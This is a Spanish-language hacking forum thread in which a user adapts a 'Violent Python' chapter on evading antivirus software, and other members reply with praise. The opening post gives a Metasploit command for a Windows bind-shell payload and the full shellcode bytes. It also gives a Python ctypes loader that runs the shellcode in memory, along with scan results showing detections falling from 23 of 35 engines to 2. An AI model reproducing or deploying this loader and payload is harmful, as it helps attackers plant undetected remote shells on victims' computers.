comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Evadiendo AV's con Python

  • 6 Respuestas
  • 2137 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Sanko

  • *
  • Underc0der
  • Mensajes: 541
  • Actividad:
    0%
  • Reputación 0
  • ¿Puedes?
    • Ver Perfil
    • Underc0de
« en: Enero 06, 2013, 10:16:38 pm »


Buenas , coincidio estaba leyendo un librito (Violent Python) y un capítulo trataba sobre la evasión de antivirus...
Muchos me comentaban que conocían el libro pero que nunca les dio por leerlo, entre las principales razones pues por lo de siempre...

- "ESTA EN INGLÉS y como esta en inglés pues NO LO ENTIENDO BIEN"

Bueno , en este caso voy a "adaptar" un capítulo qué me llamo la antención para que veaís que no es dificil de leerlo y que pues bueno a veces por no leer en inglés os perdeís conocer muchas cosas interesantes...

Al lio...
1. Generar shellcode con código malicioso en msf(metasploit).
2. Escribir el script en python que nos permita ejecutar ese código.

1. Generar shellcode con código malicioso en msf(metasploit):

Abrimos msf :
Código: Bash
  1. sanko@Sanko-PC ~ $ su
  2. Password:
  3. Sanko-PC sanko # msfconsole

y generaremos este payload , escribimos :
Código: Bash
  1. msfpayload windows/shell_bind_tcp LPORT=1337 C

Aqui nos genera el shellcode
:


Ahora pasaremos directamente ese shellcode a exe y escanearemos :


y lo analizamos en un scanner online para por cuantos av's es detectado :


BBCode :
[spoiler] RESULTS:   23/35
AVG Free - Trojan horse Agent_r.OV
ArcaVir -
Avast 5 - Win32:Sileco [Trj]
AntiVir (Avira) - TR/Crypt.XPACK.Gen5
BitDefender - Backdoor.Shell.AC
VirusBuster  -
Clam  - Trojan.MSF_Shellcode
COMODO  - TrojWare.Win32.TrojanDownloader.Small.~AOLO@104254503
Dr.Web - Trojan.Packed.196
eTrust-Vet - Win32/ASuspect.HHGCP
F-PROT  - W32/SmallTrojan.M.gen!Eldorado (generic, not disinfectable)
F-Secure  - Trojan:W32/Shell2Exe.A
G Data - Backdoor.Shell.AC, Win32:Sileco [Trj]
IKARUS  - Trojan.Win32.Swrort
Kaspersky  -
McAfee - Generic Downloader.fa
MS  Essentials - TrojanDownloader:Win32/Sileco.A
ESET NOD32 - Trojan.Win32/Shellcode2EXE.A
Norman - winpe/Swrort.A
Norton  -
Panda  -
A-Squared - Trojan.Win32.Swrort!IK
Quick Heal  - Trojan.Agent.ATV.n3
Solo  -
Sophos - Mal/Silvana-B
Trend Micro  - TROJ_SMALL.SMJ2
VBA32  -
Vexira  -
Zoner AntiVirus -
Ad-Aware -
BullGuard - Backdoor.Shell.AC
Immunet  - Backdoor.Shell.AC
K7 Ultimate - Riskware ( 22533fae0 )
NANO  -
VIPRE -

File Name      shellcode.exe
File Size:   20572
File MD5:    2be1f303fa36ac3d6d5e00f38fadc551
File SHA1:   58b63498b305df218cce0949a02ab91832d96348
Check Time:  2013-01-07 02:19:27

Scan report generated by
You are not allowed to view links. Register or Login
[/spoiler]

23/35 , BUFF , muy quemado...

Pero esto se puede solucionar con nuestro queridito python...
Escribiremos un script que creara un buffer-string y que luego lo ejecute en memoria a traves de un módulo(API) -> Ctypes

Escribamos el script pues :

Código: Python
  1. from ctypes import *
  2.  
  3. shellcode = ("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
  4. "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
  5. "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
  6. "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
  7. "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
  8. "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
  9. "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
  10. "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
  11. "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
  12. "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
  13. "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
  14. "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
  15. "\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
  16. "\x31\xdb\x53\x68\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x57\x68"
  17. "\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"
  18. "\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"
  19. "\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"
  20. "\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
  21. "\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"
  22. "\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"
  23. "\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56"
  24. "\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
  25. "\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")
  26.  
  27. memoria = create_string_buffer(shellcode, len(shellcode))
  28. shell = cast(memoria, CFUNCTYPE(c_void_p))
  29. shell()

Ahora lo pasamos a aplicación con py2exe y lo escaneamos de nuevo:
ç

BBCode:
[spoiler] RESULTS:   2/35
AVG Free -
ArcaVir -
Avast 5 - Win32:Hijack-GL [Trj]
AntiVir (Avira) -
BitDefender -
VirusBuster  -
Clam  -
COMODO  -
Dr.Web -
eTrust-Vet -
F-PROT  -
F-Secure  -
G Data -
IKARUS  -
Kaspersky  -
McAfee -
MS  Essentials - Trojan:Win32/Swrort.A
ESET NOD32 -
Norman -
Norton  -
Panda  -
A-Squared -
Quick Heal  -
Solo  -
Sophos -
Trend Micro  -
VBA32  -
Vexira  -
Zoner AntiVirus -
Ad-Aware -
BullGuard -
Immunet  -
K7 Ultimate -
NANO  -
VIPRE -

File Name      Bindshell.exe
File Size:   3440179
File MD5:    b36d2d0ba10d154436add0ea1635e6ec
File SHA1:   f96b7843f16ee4670e0c27f1d5a9a0ccdf71b4e3
Check Time:  2013-01-07 01:30:55

Scan report generated by
You are not allowed to view links. Register or Login
[/spoiler]

Avast y Essentials.. link reporte = You are not allowed to view links. Register or Login

Ahora comprobemos que el payload se ejecuta correctamente...


Todo correcto al parecer...
Bueno, con esto es todo , espero os agradará el articulo.

Un Saludo ,
Sanko.

Referencias : Creditos para el libro "Violent Python" esto tan solo es una explicación basada en lo que leí.
Traducido al español y explicado como me parecio más adecuado.
Sigueme en Twitter : @Sankosk
Estos nuevos staff no tienen puta idea XD

Desconectado Kodeinfect

  • *
  • Underc0der
  • Mensajes: 325
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Kodeinfect's Blog
« Respuesta #1 en: Enero 06, 2013, 10:18:13 pm »
Vamos, que está excelente este tutorial ehh..
Sin dudas a echarle la practica ;) un saludo Sanko.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5319
  • Actividad:
    40%
  • Reputación 29
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #2 en: Enero 06, 2013, 10:24:41 pm »
Excelente Sanko!
+Karma!


Desconectado Pr0ph3t

  • *
  • Underc0der
  • Mensajes: 443
  • Actividad:
    0%
  • Reputación 0
  • © Underc0de Team
    • Ver Perfil
  • Skype: thebrowfc
« Respuesta #3 en: Enero 07, 2013, 10:34:32 am »
Enorme Sanko!
Twitter: @The_Pr0ph3t
pr0ph3t@hotmail.es

Desconectado Aryenal.Bt

  • *
  • Underc0der
  • Mensajes: 262
  • Actividad:
    0%
  • Reputación 0
  • "El hombre creyéndose sabio se volvió necio"
    • Ver Perfil
    • Email
« Respuesta #4 en: Enero 07, 2013, 12:16:28 pm »
Muy bien explicado.
Gracias Sanko

Desconectado Adastra

  • *
  • Underc0der
  • Mensajes: 42
  • Actividad:
    0%
  • Reputación 0
  • Endless Learner
    • Ver Perfil
    • thehackerway
    • Email
« Respuesta #5 en: Enero 07, 2013, 12:36:24 pm »
"Violent Python" es un libro genial, ademas de este método para evadir AV, también hay otros recursos muy interesantes sobre el uso de python en actividades de pentesting.
Muchas gracias por mencionar el texto y por el aporte (que te ha quedado muy bien, por cierto  :D).
Saludos.
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

"Nunca discutas con un idiota, podria no notarse la diferencia"
Kant.

Desconectado WhiZ

  • *
  • Underc0der
  • Mensajes: 395
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #6 en: Enero 15, 2013, 03:24:50 pm »
Excelente libro! Totalmente recomendado!

Es increíble las múltiples herramientas de las que disponemos al utilizar python en temas como éstos.

Gracias por compartir!

Saludos!
WhiZ


 

¿Te gustó el post? COMPARTILO!



[Código] Yardas a metros - Metros a yardas [Python]

Iniciado por LucaSthefano

Respuestas: 0
Vistas: 1234
Último mensaje Mayo 29, 2011, 01:27:34 am
por LucaSthefano
Python keylogger - by "bLiNdFiR3"

Iniciado por d33k40

Respuestas: 0
Vistas: 1851
Último mensaje Abril 07, 2010, 03:30:22 am
por d33k40
[Código] Entero / No Entero [Ejercicio - Python]

Iniciado por LucaSthefano

Respuestas: 0
Vistas: 1202
Último mensaje Mayo 29, 2011, 01:24:09 am
por LucaSthefano
Python Trojan - By "bLiNdFiR3"

Iniciado por d33k40

Respuestas: 1
Vistas: 1877
Último mensaje Abril 03, 2010, 11:01:59 pm
por Dharok
Python phpmyadmin "BruteForce"

Iniciado por linkgl

Respuestas: 2
Vistas: 2312
Último mensaje Agosto 19, 2011, 12:14:37 pm
por linkgl